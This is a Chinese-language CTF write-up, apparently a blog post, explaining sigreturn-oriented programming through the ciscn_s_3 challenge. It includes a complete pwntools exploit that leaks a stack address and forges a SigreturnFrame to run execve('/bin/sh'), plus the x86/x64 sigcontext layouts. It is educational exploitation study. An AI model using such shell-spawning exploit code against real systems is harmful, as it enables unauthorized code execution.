> ![Process of Signal Handlering](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306041837692.png)
>
> 1. 内核向某个进程发送 signal 机制，该进程会被暂时挂起，进入内核态。
> 2. 内核会为该进程保存相应的上下文，**主要是将所有寄存器压入栈中，以及压入 signal 信息，以及指向 sigreturn 的系统调用地址**。此时栈的结构如下图所示，我们称 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是，这一部分是在用户进程的地址空间的。**之后会跳转到注册过的 signal handler 中处理相应的 signal。因此，当 signal handler 执行完之后，就会执行 sigreturn 代码。

这里需要理解signal的机制，以ciscn_s_3为例：

程序如上图，这里直接给exp：

```python
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
    io = remote('node4.buuoj.cn',26606)
else :
    io = process('./ciscn_s_3')

elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2

# # gdb.attach(io)

payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
# # # gdb.attach(io)
# payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
# p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
# p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
# io.sendline(payload)
# io.interactive()

sigreturn = 0x04004DA

# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall

frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall

# # frame_packed = p64(frame.rax) + p64(frame.rdi) + p64(frame.rsi) + p64(frame.rdx) + p64(frame.rip)

# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b') + p64(sigreturn) +p64(syscall) + bytes(frame1) + p64(vuln)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b') + bytes(frame) + bytes(frame1) + p64(vuln)
io.sendline(payload)

io.interactive()
```

这里pwntools直接集成了srop模块，对于SignalFrame的伪造会方便很多，当然这里还是列出x64和x86架构下的SigalFrame结构：

X86：

```c
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
```

**X64：**

```c
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};
```

---



```python
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
```

通过这样的简单构造就可以直接把个寄存器设置为自己需要的值，这就是对execve的系统调用。

下面分析payload，这里有我一开始有一点迷惑：就是为什么在

*p64(sigreturn)*之后还要再syscall一次，这里我其实被我自己的写法给误导了，我一开始以为p64(sigreturn)就已经将伪造的SignalFrame恢复，其实不然，这里p64(sigreturn)仅仅只是

```assembly
text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3                             retn
```

这样一段汇编内容，并没有对syscall的调用，也就没有进入内核态，也就自然没法恢复伪造的SignalFrame来完成攻击，

```python
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
```

而上面这一段被我注释的内容实际上是我有些想当然了，我以为这样构造也可以完成对sigreturn的调用，实际上也是不可以的，因为srop的原理其实就是利用signalreturn恢复机制来完成操作，但这里实际上我将“果”当“因”处理了，是行不通的。

这里的难点其实还是方法一，还是有很多不懂的点，这样的payload实在是巧妙。